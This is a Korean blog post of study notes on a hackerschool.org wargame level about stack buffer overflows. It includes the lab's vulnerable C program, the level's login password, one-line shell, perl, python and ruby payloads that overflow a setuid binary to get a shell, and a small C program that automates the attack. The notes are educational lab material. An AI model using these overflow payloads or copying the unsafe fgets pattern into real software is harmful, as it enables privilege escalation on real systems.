본문 바로가기
보안과정/리버싱

Level 9 → Level 10

by Luuii 2017. 11. 30.

www.hackerschool.org 를 이용하여 공부한다.


목적 : 버퍼오버플로우(Bof, Buffer Overflow)

> 버퍼오버플로우 기법을 이해하기 위해 메모리의 값을 조작하는 방법


버퍼오버플로우의 종류

> Stack Buffer Overflow

> Heap Buffer Overflow


버퍼를 넘치게 하는 것. 스택과 힙 두개 다 사용이 된다.


[참고][클릭]변수의 메모리 배치 확인과 GDB 사용법



level9 사용자로 로그인

ID : level9

PASS : apple


$ cd

$ ls -l

$ cat hint


$ cd tmp

$ vi bof.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main()
{
 
        char buf2[10];
        char buf[10];
 
        printf("It can be overflow : ");
        fgets(buf, 40, stdin);
 
        printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2);   <--- 라인추가
 
        if(strncmp(buf2, "go"2== 0)
        {
                printf("Good Skill!\n");
                setreuid(30103010);
                system("/bin/bash");
        }
}
cs


$ gcc -o bof bof.c

$ ./bof


(주의) 스택은 높은 주소에서 낮은 주소로 저장된다.


$ ls -l /usr/bin/bof

> setuid가 걸려있어서 breakpoint를 걸 수가 없다.


/usr/bin/bof

-> read권한이 없기 때문에 허가가 거부된다.

-> tmp 디렉토리에 만들어 놓은 파일을 가지고 작업.


$ gdb /home/level9/tmp/bof


$ /usr/bin/bof



일반적인 공격형태

$ for i in `seq 1 16`; do printf "A"; done; printf "go\n" ; cat | /usr/bin/bof


$ (perl -e 'print "A"x16, "go"; cat) | /usr/bin/bof


$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof


$ (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof


$ (for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"; cat) | /usr/bin/bof


○ 공격용 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
 
#define VICTIM "/usr/bin/bof"
#define DEFAULT_BUFFER_SIZE 100
 
char cmdBuf[DEFAULT_BUFFER_SIZE];
 
int main()
{
        sprintf(cmdBuf, "(for i in `seq 1 16`; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM);
        system(cmdBuf);
 
        return 0;
}
cs


반응형

'보안과정 > 리버싱' 카테고리의 다른 글

Level 11~20 문서 합본  (0) 2017.12.17
Level 10 → Level 11  (0) 2017.11.30
Level 8 → Level9  (0) 2017.11.30
Level 7 → Level 8  (0) 2017.11.29
Level 6 → Level 7  (0) 2017.11.29